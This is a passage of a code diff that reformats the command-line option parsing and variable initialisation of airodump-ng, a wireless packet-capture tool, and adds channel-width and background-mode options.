-    fd_set             rfds;
-
-    static struct option long_options[] = {
-        {"band",     1, 0, 'b'},
-        {"beacon",   0, 0, 'e'},
-        {"beacons",  0, 0, 'e'},
-        {"cswitch",  1, 0, 's'},
-        {"netmask",  1, 0, 'm'},
-        {"bssid",    1, 0, 'd'},
-        {"essid",    1, 0, 'N'},
-        {"essid-regex", 1, 0, 'R'},
-        {"channel",  1, 0, 'c'},
-        {"gpsd",     0, 0, 'g'},
-        {"ivs",      0, 0, 'i'},
-        {"write",    1, 0, 'w'},
-        {"encrypt",  1, 0, 't'},
-        {"update",   1, 0, 'u'},
-        {"berlin",   1, 0, 'B'},
-        {"help",     0, 0, 'H'},
-        {"nodecloak",0, 0, 'D'},
-        {"showack",  0, 0, 'A'},
-        {"detect-anomaly", 0, 0, 'E'},
-        {"output-format",  1, 0, 'o'},
-        {"ignore-negative-one", 0, &G.ignore_negative_one, 1},
-        {"manufacturer",  0, 0, 'M'},
-        {"uptime",   0, 0, 'U'},
-        {"write-interval", 1, 0, 'I'},
-        {"wps",  0, 0, 'W'},
-        {0,          0, 0,  0 }
-    };
-
-    pid_t main_pid = getpid();
+	struct AP_info *ap_cur, *ap_prv, *ap_next;
+	struct ST_info *st_cur, *st_next;
+	struct NA_info *na_cur, *na_next;
+	struct oui *oui_cur, *oui_next;
+
+	struct pcap_pkthdr pkh;
+
+	time_t tt1, tt2, tt3, start_time;
+
+	struct wif * wi[MAX_CARDS];
+	struct rx_info ri;
+	unsigned char tmpbuf[4096];
+	unsigned char buffer[4096];
+	unsigned char * h80211;
+	char * iface[MAX_CARDS];
+
+	struct timeval tv0;
+	struct timeval tv1;
+	struct timeval tv2;
+	struct timeval tv3;
+	struct timeval tv4;
+	struct tm * lt;
+
+	/*
+	struct sockaddr_in provis_addr;
+	*/
+
+	fd_set rfds;
+
+	static struct option long_options[]
+		= {{"ht20", 0, 0, '2'},
+		   {"ht40-", 0, 0, '3'},
+		   {"ht40+", 0, 0, '5'},
+		   {"band", 1, 0, 'b'},
+		   {"beacon", 0, 0, 'e'},
+		   {"beacons", 0, 0, 'e'},
+		   {"cswitch", 1, 0, 's'},
+		   {"netmask", 1, 0, 'm'},
+		   {"bssid", 1, 0, 'd'},
+		   {"essid", 1, 0, 'N'},
+		   {"essid-regex", 1, 0, 'R'},
+		   {"channel", 1, 0, 'c'},
+		   {"gpsd", 0, 0, 'g'},
+		   {"ivs", 0, 0, 'i'},
+		   {"write", 1, 0, 'w'},
+		   {"encrypt", 1, 0, 't'},
+		   {"update", 1, 0, 'u'},
+		   {"berlin", 1, 0, 'B'},
+		   {"help", 0, 0, 'H'},
+		   {"nodecloak", 0, 0, 'D'},
+		   {"showack", 0, 0, 'A'},
+		   {"detect-anomaly", 0, 0, 'E'},
+		   {"output-format", 1, 0, 'o'},
+		   {"ignore-negative-one", 0, &G.ignore_negative_one, 1},
+		   {"manufacturer", 0, 0, 'M'},
+		   {"uptime", 0, 0, 'U'},
+		   {"write-interval", 1, 0, 'I'},
+		   {"wps", 0, 0, 'W'},
+		   {"background", 1, 0, 'K'},
+		   {0, 0, 0, 0}};
 
+	pid_t main_pid = getpid();
 
 #ifdef USE_GCRYPT
-    // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt < 1.6.0
-    #if GCRYPT_VERSION_NUMBER < 0x010600
-        gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
-    #endif
-    // Disable secure memory.
-    gcry_control (GCRYCTL_DISABLE_SECMEM, 0);
-    // Tell Libgcrypt that initialization has completed.
-    gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0);
+// Register callback functions to ensure proper locking in the sensitive parts
+// of libgcrypt < 1.6.0
+#if GCRYPT_VERSION_NUMBER < 0x010600
+	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
+#endif
+	// Disable secure memory.
+	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
+	// Tell Libgcrypt that initialization has completed.
+	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
 #endif
-	pthread_mutex_init( &(G.mx_print), NULL );
-    pthread_mutex_init( &(G.mx_sort), NULL );
+	pthread_mutex_init(&(G.mx_print), NULL);
+	pthread_mutex_init(&(G.mx_sort), NULL);
 
-    textstyle(TEXT_RESET);//(TEXT_RESET, TEXT_BLACK, TEXT_WHITE);
+	textstyle(TEXT_RESET); //(TEXT_RESET, TEXT_BLACK, TEXT_WHITE);
 
 	/* initialize a bunch of variables */
 
-	srand( time( NULL ) );
-    memset( &G, 0, sizeof( G ) );
+	srand(time(NULL));
+	memset(&G, 0, sizeof(G));
 
-    h80211         =  NULL;
-    ivs_only       =  0;
-    G.chanoption   =  0;
-    G.freqoption   =  0;
-    G.num_cards	   =  0;
-    fdh		   =  0;
-    fd_is_set	   =  0;
-    chan_count	   =  0;
-    time_slept     =  0;
-    G.batt         =  NULL;
-    G.chswitch     =  0;
-    valid_channel  =  0;
-    G.usegpsd      =  0;
-    G.channels     =  bg_chans;
-    G.one_beacon   =  1;
-    G.singlechan   =  0;
-    G.singlefreq   =  0;
-    G.dump_prefix  =  NULL;
-    G.record_data  =  0;
-    G.f_cap        =  NULL;
-    G.f_ivs        =  NULL;
-    G.f_txt        =  NULL;
-    G.f_kis        =  NULL;
-    G.f_kis_xml    =  NULL;
-    G.f_gps        =  NULL;
-    G.keyout       =  NULL;
-    G.f_xor        =  NULL;
-    G.sk_len       =  0;
-    G.sk_len2      =  0;
-    G.sk_start     =  0;
-    G.prefix       =  NULL;
-    G.f_encrypt    =  0;
-    G.asso_client  =  0;
-    G.f_essid      =  NULL;
-    G.f_essid_count = 0;
-    G.active_scan_sim  =  0;
-    G.update_s     =  0;
-    G.decloak      =  1;
-    G.is_berlin    =  0;
-    G.numaps       =  0;
-    G.maxnumaps    =  0;
-    G.berlin       =  120;
-    G.show_ap      =  1;
-    G.show_sta     =  1;
-    G.show_ack     =  0;
-    G.hide_known   =  0;
-    G.maxsize_essid_seen  =  5; // Initial value: length of "ESSID"
-    G.show_manufacturer = 0;
-    G.show_uptime  = 0;
-    G.hopfreq      =  DEFAULT_HOPFREQ;
-    G.s_file       =  NULL;
-    G.s_iface      =  NULL;
-    G.f_cap_in     =  NULL;
-    G.detect_anomaly = 0;
-    G.airodump_start_time = NULL;
+	h80211 = NULL;
+	ivs_only = 0;
+	G.chanoption = 0;
+	G.freqoption = 0;
+	G.num_cards = 0;
+	fdh = 0;
+	fd_is_set = 0;
+	chan_count = 0;
+	time_slept = 0;
+	G.batt = NULL;
+	G.chswitch = 0;
+	valid_channel = 0;
+	G.usegpsd = 0;
+	G.channels = bg_chans;
+	G.one_beacon = 1;
+	G.singlechan = 0;
+	G.singlefreq = 0;
+	G.dump_prefix = NULL;
+	G.record_data = 0;
+	G.f_cap = NULL;
+	G.f_ivs = NULL;
+	G.f_txt = NULL;
+	G.f_kis = NULL;
+	G.f_kis_xml = NULL;
+	G.f_gps = NULL;
+	G.keyout = NULL;
+	G.f_xor = NULL;
+	G.sk_len = 0;
+	G.sk_len2 = 0;
+	G.sk_start = 0;
+	G.prefix = NULL;
+	G.f_encrypt = 0;
+	G.asso_client = 0;
+	G.f_essid = NULL;
+	G.f_essid_count = 0;
+	G.active_scan_sim = 0;
+	G.update_s = 0;
+	G.decloak = 1;
+	G.is_berlin = 0;
+	G.numaps = 0;
+	G.maxnumaps = 0;
+	G.berlin = 120;
+	G.show_ap = 1;
+	G.show_sta = 1;
+	G.show_ack = 0;
+	G.hide_known = 0;
+	G.maxsize_essid_seen = 5; // Initial value: length of "ESSID"
+	G.show_manufacturer = 0;
+	G.show_uptime = 0;
+	G.hopfreq = DEFAULT_HOPFREQ;
+	G.s_file = NULL;
+	G.s_iface = NULL;
+	G.f_cap_in = NULL;
+	G.detect_anomaly = 0;
+	G.airodump_start_time = NULL;
 	G.manufList = NULL;
 
 	G.output_format_pcap = 1;
-    G.output_format_csv = 1;
-    G.output_format_kismet_csv = 1;
-    G.output_format_kismet_netxml = 1;
-    G.file_write_interval = 5; // Write file every 5 seconds by default
-    G.maxsize_wps_seen  =  6;
-    G.show_wps     = 0;
+	G.output_format_csv = 1;
+	G.output_format_kismet_csv = 1;
+	G.output_format_kismet_netxml = 1;
+	G.file_write_interval = 5; // Write file every 5 seconds by default
+	G.maxsize_wps_seen = 6;
+	G.show_wps = 0;
+	G.background_mode = -1;
+#ifdef CONFIG_LIBNL
+	G.htval = CHANNEL_NO_HT;
+#endif
 #ifdef HAVE_PCRE
-    G.f_essid_regex = NULL;
+	G.f_essid_regex = NULL;
 #endif
 
 	// Default selection.
-    resetSelection();
+	resetSelection();
 
-    memset(G.sharedkey, '\x00', 512*3);
-    memset(G.message, '\x00', sizeof(G.message));
-    memset(&G.pfh_in, '\x00', sizeof(struct pcap_file_header));
-
-    gettimeofday( &tv0, NULL );
-
-    lt = localtime( (time_t *) &tv0.tv_sec );
-
-    G.keyout = (char*) malloc(512);
-    memset( G.keyout, 0, 512 );
-    snprintf( G.keyout,  511,
-              "keyout-%02d%02d-%02d%02d%02d.keys",
-              lt->tm_mon + 1, lt->tm_mday,
-              lt->tm_hour, lt->tm_min, lt->tm_sec );
-
-    for(i=0; i<MAX_CARDS; i++)
-    {
-        arptype[i]=0;
-        fd_raw[i]=-1;
-        G.channel[i]=0;
-    }
-
-    memset(G.f_bssid, '\x00', 6);
-    memset(G.f_netmask, '\x00', 6);
-    memset(G.wpa_bssid, '\x00', 6);
-
-
-    /* check the arguments */
-
-    for(i=0; long_options[i].name != NULL; i++);
-    num_opts = i;
-
-    for(i=0; i<argc; i++) //go through all arguments
-    {
-        found = 0;
-        if(strlen(argv[i]) >= 3)
-        {
-            if(argv[i][0] == '-' && argv[i][1] != '-')
-            {
-                //we got a single dash followed by at least 2 chars
-                //lets check that against our long options to find errors
-                for(j=0; j<num_opts;j++)
-                {
-                    if( strcmp(argv[i]+1, long_options[j].name) == 0 )
-                    {
-                        //found long option after single dash
-                        found = 1;
-                        if(i>1 && strcmp(argv[i-1], "-") == 0)
-                        {
-                            //separated dashes?
-                            printf("Notice: You specified \"%s %s\". Did you mean \"%s%s\" instead?\n", argv[i-1], argv[i], argv[i-1], argv[i]);
-                        }
-                        else
-                        {
-                            //forgot second dash?
-                            printf("Notice: You specified \"%s\". Did you mean \"-%s\" instead?\n", argv[i], argv[i]);
-                        }
-                        break;
-                    }
-                }
-                if(found)
-                {
-                    sleep(3);
-                    break;
-                }
-            }
-        }
-    }
-
-    do
-    {
-        option_index = 0;
-
-        option = getopt_long( argc, argv,
-                        "b:c:egiw:s:t:u:m:d:N:R:aHDB:Ahf:r:EC:o:x:MUI:W",
-                        long_options, &option_index );
-
-        if( option < 0 ) break;
-
-        switch( option )
-        {
-            case 0 :
-
-                break;
-
-            case ':':
-
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case '?':
-
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case 'I':
-
-            	if (!is_string_number(optarg)) {
-            		printf("Error: Write interval is not a number (>0). Aborting.\n");
-            		exit ( 1 );
-            	}
-
-            	G.file_write_interval = atoi(optarg);
-
-            	if (G.file_write_interval <= 0) {
-            		printf("Error: Write interval must be greater than 0. Aborting.\n");
-            		exit ( 1 );
-            	}
-            	break;
+	memset(G.sharedkey, '\x00', sizeof(G.sharedkey));
+	memset(G.message, '\x00', sizeof(G.message));
+	memset(&G.pfh_in, '\x00', sizeof(struct pcap_file_header));
+
+	gettimeofday(&tv0, NULL);
+
+	lt = localtime((time_t *) &tv0.tv_sec);
+
+	G.keyout = (char *) malloc(512);
+	memset(G.keyout, 0, 512);
+	snprintf(G.keyout,
+			 511,
+			 "keyout-%02d%02d-%02d%02d%02d.keys",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	for (i = 0; i < MAX_CARDS; i++)
+	{
+		arptype[i] = 0;
+		fd_raw[i] = -1;
+		G.channel[i] = 0;
+	}
+
+	memset(G.f_bssid, '\x00', 6);
+	memset(G.f_netmask, '\x00', 6);
+	memset(G.wpa_bssid, '\x00', 6);
+
+	/* check the arguments */
+
+	for (i = 0; long_options[i].name != NULL; i++)
+		;
+	num_opts = i;
+
+	for (i = 0; i < argc; i++) // go through all arguments
+	{
+		found = 0;
+		if (strlen(argv[i]) >= 3)
+		{
+			if (argv[i][0] == '-' && argv[i][1] != '-')
+			{
+				// we got a single dash followed by at least 2 chars
+				// lets check that against our long options to find errors
+				for (j = 0; j < num_opts; j++)
+				{
+					if (strcmp(argv[i] + 1, long_options[j].name) == 0)
+					{
+						// found long option after single dash
+						found = 1;
+						if (i > 1 && strcmp(argv[i - 1], "-") == 0)
+						{
+							// separated dashes?
+							printf("Notice: You specified \"%s %s\". Did you "
+								   "mean \"%s%s\" instead?\n",
+								   argv[i - 1],
+								   argv[i],
+								   argv[i - 1],
+								   argv[i]);
+						}
+						else
+						{
+							// forgot second dash?
+							printf("Notice: You specified \"%s\". Did you mean "
+								   "\"-%s\" instead?\n",
+								   argv[i],
+								   argv[i]);
+						}
+						break;
+					}
+				}
+				if (found)
+				{
+					sleep(3);
+					break;
+				}
+			}
+		}
+	}
+
+	do
+	{
+		option_index = 0;
+
+		option = getopt_long(argc,
+							 argv,
+							 "b:c:egiw:s:t:u:m:d:N:R:aHDB:Ahf:r:EC:o:x:MUI:WK:",
+							 long_options,
+							 &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case 'K':
+			{
+				char * invalid_str = NULL;
+				long int bg_mode = strtol(optarg, &invalid_str, 10);
+				if ((invalid_str && *invalid_str != 0)
+					|| !(bg_mode == 0 || bg_mode == 1))
+				{
+					printf("Invalid background mode. Must be '0' or '1'\n");
+					exit(1);
+				}
+				G.background_mode = (char) bg_mode;
+				break;
+			}
+			case 'I':
+
+				if (!is_string_number(optarg))
+				{
+					printf("Error: Write interval is not a number (>0). "
+						   "Aborting.\n");
+					exit(1);
+				}
+
+				G.file_write_interval = atoi(optarg);
+
+				if (G.file_write_interval <= 0)
+				{
+					printf("Error: Write interval must be greater than 0. "
+						   "Aborting.\n");
+					exit(1);
+				}
+				break;
 
 			case 'E':
 				G.detect_anomaly = 1;
 				break;
 
-            case 'e':
+			case 'e':
 
-                G.one_beacon = 0;
-                break;
+				G.one_beacon = 0;
+				break;
 
-            case 'a':
+			case 'a':
 
-                G.asso_client = 1;
-                break;
+				G.asso_client = 1;
+				break;
 
-            case 'A':
+			case 'A':
 
-                G.show_ack = 1;
-                break;
+				G.show_ack = 1;
+				break;
 
-            case 'h':
+			case 'h':
 
-                G.hide_known = 1;
-                break;
+				G.hide_known = 1;
+				break;
 
-            case 'D':
+			case 'D':
 
-                G.decloak = 0;
-                break;
+				G.decloak = 0;
+				break;
 
-	    case 'M':
+			case 'M':
 
-                G.show_manufacturer = 1;
-                break;
+				G.show_manufacturer = 1;
+				break;
 
-	    case 'U' :
-	    		G.show_uptime = 1;
-	    		break;
+			case 'U':
+				G.show_uptime = 1;
+				break;
 
-            case 'W':
+			case 'W':
 
-                G.show_wps = 1;
-                break;
+				G.show_wps = 1;
+				break;
 
-            case 'c' :
+			case 'c':
 
-                if (G.channel[0] > 0 || G.chanoption == 1) {
-                    if (G.chanoption == 1)
-                        printf( "Notice: Channel range already given\n" );
-                    else
-                        printf( "Notice: Channel already given (%d)\n", G.channel[0]);
-                    break;
-                }
+				if (G.channel[0] > 0 || G.chanoption == 1)
+				{
+					if (G.chanoption == 1)
+						printf("Notice: Channel range already given\n");
+					else
+						printf("Notice: Channel already given (%d)\n",
+							   G.channel[0]);
+					break;
+				}
 
-                G.channel[0] = getchannels(optarg);
+				G.channel[0] = getchannels(optarg);
 
-                if ( G.channel[0] < 0 )
-                    goto usage;
+				if (G.channel[0] < 0) goto usage;
 
-                G.chanoption = 1;
+				G.chanoption = 1;
 
-                if( G.channel[0] == 0 )
-                {
-                    G.channels = G.own_channels;
-                    break;
-                }
-                G.channels = bg_chans;
-                break;
+				if (G.channel[0] == 0)
+				{
+					G.channels = G.own_channels;
+					break;
+				}
+				G.channels = bg_chans;
+				break;
 
-            case 'C' :
+			case 'C':
 
-                if (G.channel[0] > 0 || G.chanoption == 1) {
-                    if (G.chanoption == 1)
-                        printf( "Notice: Channel range already given\n" );
-                    else
-                        printf( "Notice: Channel already given (%d)\n", G.channel[0]);
-                    break;
-                }
+				if (G.channel[0] > 0 || G.chanoption == 1)
+				{
+					if (G.chanoption == 1)
+						printf("Notice: Channel range already given\n");
+					else
+						printf("Notice: Channel already given (%d)\n",
+							   G.channel[0]);
+					break;
+				}
 
-                if (G.freqoption == 1) {
-                    printf( "Notice: Frequency range already given\n" );
-                    break;
-                }
+				if (G.freqoption == 1)
+				{
+					printf("Notice: Frequency range already given\n");
+					break;
+				}
 
-                G.freqstring = optarg;
+				G.freqstring = optarg;
 
-                G.freqoption = 1;
+				G.freqoption = 1;
 
-                break;
+				break;
 
-            case 'b' :
+			case 'b':
 
-                if (G.chanoption == 1 && option != 'c') {
-                    printf( "Notice: Channel range already given\n" );
-                    break;
-                }
-                freq[0] = freq[1] = 0;
+				if (G.chanoption == 1 && option != 'c')
+				{
+					printf("Notice: Channel range already given\n");
+					break;
+				}
+				freq[0] = freq[1] = 0;
 
-                for (i = 0; i < (int)strlen(optarg); i++) {
-                    if ( optarg[i] == 'a' )
-                        freq[1] = 1;
-                    else if ( optarg[i] == 'b' || optarg[i] == 'g')
-                        freq[0] = 1;
-                    else {
-                        printf( "Error: invalid band (%c)\n", optarg[i] );
-                        printf("\"%s --help\" for help.\n", argv[0]);
-                        exit ( 1 );
-                    }
-                }
+				for (i = 0; i < (int) strlen(optarg); i++)
+				{
+					if (optarg[i] == 'a')
+						freq[1] = 1;
+					else if (optarg[i] == 'b' || optarg[i] == 'g')
+						freq[0] = 1;
+					else
+					{
+						printf("Error: invalid band (%c)\n", optarg[i]);
+						printf("\"%s --help\" for help.\n", argv[0]);
+						exit(1);
+					}
+				}
 
-                if (freq[1] + freq[0] == 2 )
-                    G.channels = abg_chans;
-                else {
-                    if ( freq[1] == 1 )
-                        G.channels = a_chans;
-                    else
-                        G.channels = bg_chans;
-                }
+				if (freq[1] + freq[0] == 2)
+					G.channels = abg_chans;
+				else
+				{
+					if (freq[1] == 1)
+						G.channels = a_chans;
+					else
+						G.channels = bg_chans;
+				}
 
-                break;
+				break;
 
-            case 'i':
+			case 'i':
 
-				// Reset output format if it's the first time the option is specified
-				if (output_format_first_time) {
+				// Reset output format if it's the first time the option is
+				// specified
+				if (output_format_first_time)
+				{
 					output_format_first_time = 0;
 
 					G.output_format_pcap = 0;
 					G.output_format_csv = 0;
 					G.output_format_kismet_csv = 0;
-    				G.output_format_kismet_netxml = 0;
+					G.output_format_kismet_netxml = 0;
 				}
 
- 				if (G.output_format_pcap) {
-					printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-					fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n");
-					return( 1 );
+				if (G.output_format_pcap)
+				{
+					printf(usage,
+						   getVersion("Airodump-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+					fprintf(stderr,
+							"Invalid output format: IVS and PCAP "
+							"format cannot be used together.\n");
+					return (1);
 				}
 
-                ivs_only = 1;
-                break;
+				ivs_only = 1;
+				break;
 
-            case 'g':
+			case 'g':
 
-                G.usegpsd  = 1;
-                /*
-                if (inet_aton(optarg, &provis_addr.sin_addr) == 0 )
-                {
-                    printf("Invalid IP address.\n");
-                    return (1);
-                }
-                */
-                break;
+				G.usegpsd = 1;
+				/*
+				if (inet_aton(optarg, &provis_addr.sin_addr) == 0 )
+				{
+					printf("Invalid IP address.\n");
+					return (1);
+				}
+				*/
+				break;
 
-            case 'w':
+			case 'w':
 
-                if (G.dump_prefix != NULL) {
-                    printf( "Notice: dump prefix already given\n" );
-                    break;
-                }
-                /* Write prefix */
-                G.dump_prefix   = optarg;
-                G.record_data = 1;
-                break;
+				if (G.dump_prefix != NULL)
+				{
+					printf("Notice: dump prefix already given\n");
+					break;
+				}
+				/* Write prefix */
+				G.dump_prefix = optarg;
+				G.record_data = 1;
+				break;
 
-            case 'r' :
+			case 'r':
 
-                if( G.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                G.s_file = optarg;
-                break;
+				if (G.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				G.s_file = optarg;
+				break;
 
-            case 's':
+			case 's':
 
-                if (atoi(optarg) > 2) {
-                    goto usage;
-                }
-                if (G.chswitch != 0) {
-                    printf("Notice: switching method already given\n");
-                    break;
-                }
-                G.chswitch = atoi(optarg);
-                break;
+				if (atoi(optarg) > 2)
+				{
+					goto usage;
+				}
+				if (G.chswitch != 0)
+				{
+					printf("Notice: switching method already given\n");
+					break;
+				}
+				G.chswitch = atoi(optarg);
+				break;
 
-            case 'u':
+			case 'u':
 
-                G.update_s = atoi(optarg);
+				G.update_s = atoi(optarg);
 
-                /* If failed to parse or value <= 0, use default, 100ms */
-                if (G.update_s <= 0)
-                	G.update_s = REFRESH_RATE;
+				/* If failed to parse or value <= 0, use default, 100ms */
+				if (G.update_s <= 0) G.update_s = REFRESH_RATE;
 
-                break;
+				break;
 
-            case 'f':
+			case 'f':
 
-                G.hopfreq = atoi(optarg);
+				G.hopfreq = atoi(optarg);
 
-                /* If failed to parse or value <= 0, use default, 100ms */
-                if (G.hopfreq <= 0)
-                	G.hopfreq = DEFAULT_HOPFREQ;
+				/* If failed to parse or value <= 0, use default, 100ms */
+				if (G.hopfreq <= 0) G.hopfreq = DEFAULT_HOPFREQ;
 
-                break;
+				break;
 
-            case 'B':
+			case 'B':
 
-                G.is_berlin = 1;
-                G.berlin    = atoi(optarg);
+				G.is_berlin = 1;
+				G.berlin = atoi(optarg);
 
-                if (G.berlin <= 0)
-                	G.berlin = 120;
+				if (G.berlin <= 0) G.berlin = 120;
 
-                break;
+				break;
 
-            case 'm':
+			case 'm':
 
-                if ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 )
-                {
-                    printf("Notice: netmask already given\n");
-                    break;
-                }
-                if(getmac(optarg, 1, G.f_netmask) != 0)
-                {
-                    printf("Notice: invalid netmask\n");
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
+				if (memcmp(G.f_netmask, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: netmask already given\n");
+					break;
+				}
+				if (getmac(optarg, 1, G.f_netmask) != 0)
+				{
+					printf("Notice: invalid netmask\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-            case 'd':
+			case 'd':
 
-                if ( memcmp(G.f_bssid, NULL_MAC, 6) != 0 )
-                {
-                    printf("Notice: bssid already given\n");
-                    break;
-                }
-                if(getmac(optarg, 1, G.f_bssid) != 0)
-                {
-                    printf("Notice: invalid bssid\n");
-                    printf("\"%s --help\" for help.\n", argv[0]);
+				if (memcmp(G.f_bssid, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: bssid already given\n");
+					break;
+				}
+				if (getmac(optarg, 1, G.f_bssid) != 0)
+				{
+					printf("Notice: invalid bssid\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
 
-                    return( 1 );
-                }
-                break;
+					return (1);
+				}
+				break;
 
-            case 'N':
+			case 'N':
 
-                G.f_essid_count++;
-                G.f_essid = (char**)realloc(G.f_essid, G.f_essid_count * sizeof(char*));
-                G.f_essid[G.f_essid_count-1] = optarg;
-                break;
+				G.f_essid_count++;
+				G.f_essid = (char **) realloc(G.f_essid,
+											  G.f_essid_count * sizeof(char *));
+				G.f_essid[G.f_essid_count - 1] = optarg;
+				break;
 
-	    case 'R':
+			case 'R':
 
 #ifdef HAVE_PCRE
-                if (G.f_essid_regex != NULL)
-                {
-			printf("Error: ESSID regular expression already given. Aborting\n");
-			exit(1);
-                }
+				if (G.f_essid_regex != NULL)
+				{
+					printf("Error: ESSID regular expression already given. "
+						   "Aborting\n");
+					exit(1);
+				}
 
-                G.f_essid_regex = pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);
+				G.f_essid_regex
+					= pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);
 
-                if (G.f_essid_regex == NULL)
-                {
-			printf("Error: regular expression compilation failed at offset %d: %s; aborting\n", pcreerroffset, pcreerror);
-			exit(1);
-		}
+				if (G.f_essid_regex == NULL)
+				{
+					printf("Error: regular expression compilation failed at "
+						   "offset %d: %s; aborting\n",
+						   pcreerroffset,
+						   pcreerror);
+					exit(1);
+				}
 #else
-                printf("Error: Airodump-ng wasn't compiled with pcre support; aborting\n");
+				printf("Error: Airodump-ng wasn't compiled with pcre support; "
+					   "aborting\n");
 #endif
 
-                break;
+				break;
 
-            case 't':
+			case 't':
 
-                set_encryption_filter(optarg);
-                break;
+				set_encryption_filter(optarg);
+				break;
 
 			case 'o':
 
-				// Reset output format if it's the first time the option is specified
-				if (output_format_first_time) {
+				// Reset output format if it's the first time the option is
+				// specified
+				if (output_format_first_time)
+				{
 					output_format_first_time = 0;
 
 					G.output_format_pcap = 0;
 					G.output_format_csv = 0;
 					G.output_format_kismet_csv = 0;
-    				G.output_format_kismet_netxml = 0;
+					G.output_format_kismet_netxml = 0;
 				}
 
 				// Parse the value
 				output_format_string = strtok(optarg, ",");
-				while (output_format_string != NULL) {
-					if (strlen(output_format_string) != 0) {
+				while (output_format_string != NULL)
+				{
+					if (strlen(output_format_string) != 0)
+					{
 						if (strncasecmp(output_format_string, "csv", 3) == 0
-							|| strncasecmp(output_format_string, "txt", 3) == 0) {
+							|| strncasecmp(output_format_string, "txt", 3) == 0)
+						{
 							G.output_format_csv = 1;
-						} else if (strncasecmp(output_format_string, "pcap", 4) == 0
-							|| strncasecmp(output_format_string, "cap", 3) == 0) {
-                            if (ivs_only) {
-                                printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                                fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n");
-                                return( 1 );
-                            }
+						}
+						else if (strncasecmp(output_format_string, "pcap", 4)
+									 == 0
+								 || strncasecmp(output_format_string, "cap", 3)
+										== 0)
+						{
+							if (ivs_only)
+							{
+								printf(usage,
+									   getVersion("Airodump-ng",
+												  _MAJ,
+												  _MIN,
+												  _SUB_MIN,
+												  _REVISION,
+												  _BETA,
+												  _RC));
+								fprintf(stderr,
+										"Invalid output format: IVS "
+										"and PCAP format cannot be "
+										"used together.\n");
+								return (1);
+							}
 							G.output_format_pcap = 1;
-						} else if (strncasecmp(output_format_string, "ivs", 3) == 0) {
-                            if (G.output_format_pcap) {
-                                printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                                fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n");
-                                return( 1 );
-                            }
+						}
+						else if (strncasecmp(output_format_string, "ivs", 3)
+								 == 0)
+						{
+							if (G.output_format_pcap)
+							{
+								printf(usage,
+									   getVersion("Airodump-ng",
+												  _MAJ,
+												  _MIN,
+												  _SUB_MIN,
+												  _REVISION,
+												  _BETA,
+												  _RC));
+								fprintf(stderr,
+										"Invalid output format: IVS "
+										"and PCAP format cannot be "
+										"used together.\n");
+								return (1);
+							}
 							ivs_only = 1;
-						} else if (strncasecmp(output_format_string, "kismet", 6) == 0) {
+						}
+						else if (strncasecmp(output_format_string, "kismet", 6)
+								 == 0)
+						{
 							G.output_format_kismet_csv = 1;
-						} else if (strncasecmp(output_format_string, "gps", 3) == 0) {
-							G.usegpsd  = 1;
-						} else if (strncasecmp(output_format_string, "netxml", 6) == 0
-							|| strncasecmp(output_format_string, "newcore", 7) == 0
-							|| strncasecmp(output_format_string, "kismet-nc", 9) == 0
-							|| strncasecmp(output_format_string, "kismet_nc", 9) == 0
-							|| strncasecmp(output_format_string, "kismet-newcore", 14) == 0
-							|| strncasecmp(output_format_string, "kismet_newcore", 14) == 0) {
+						}
+						else if (strncasecmp(output_format_string, "gps", 3)
+								 == 0)
+						{
+							G.usegpsd = 1;
+						}
+						else if (strncasecmp(output_format_string, "netxml", 6)
+									 == 0
+								 || strncasecmp(
+										output_format_string, "newcore", 7)
+										== 0
+								 || strncasecmp(
+										output_format_string, "kismet-nc", 9)
+										== 0
+								 || strncasecmp(
+										output_format_string, "kismet_nc", 9)
+										== 0
+								 || strncasecmp(output_format_string,
+												"kismet-newcore",
+												14)
+										== 0
+								 || strncasecmp(output_format_string,
+												"kismet_newcore",
+												14)
+										== 0)
+						{
 							G.output_format_kismet_netxml = 1;
-						} else if (strncasecmp(output_format_string, "default", 6) == 0) {
+						}
+						else if (strncasecmp(output_format_string, "default", 6)
+								 == 0)
+						{
 							G.output_format_pcap = 1;
 							G.output_format_csv = 1;
 							G.output_format_kismet_csv = 1;
 							G.output_format_kismet_netxml = 1;
-						} else if (strncasecmp(output_format_string, "none", 6) == 0) {
+						}
+						else if (strncasecmp(output_format_string, "none", 6)
+								 == 0)
+						{
 							G.output_format_pcap = 0;
 							G.output_format_csv = 0;
 							G.output_format_kismet_csv = 0;
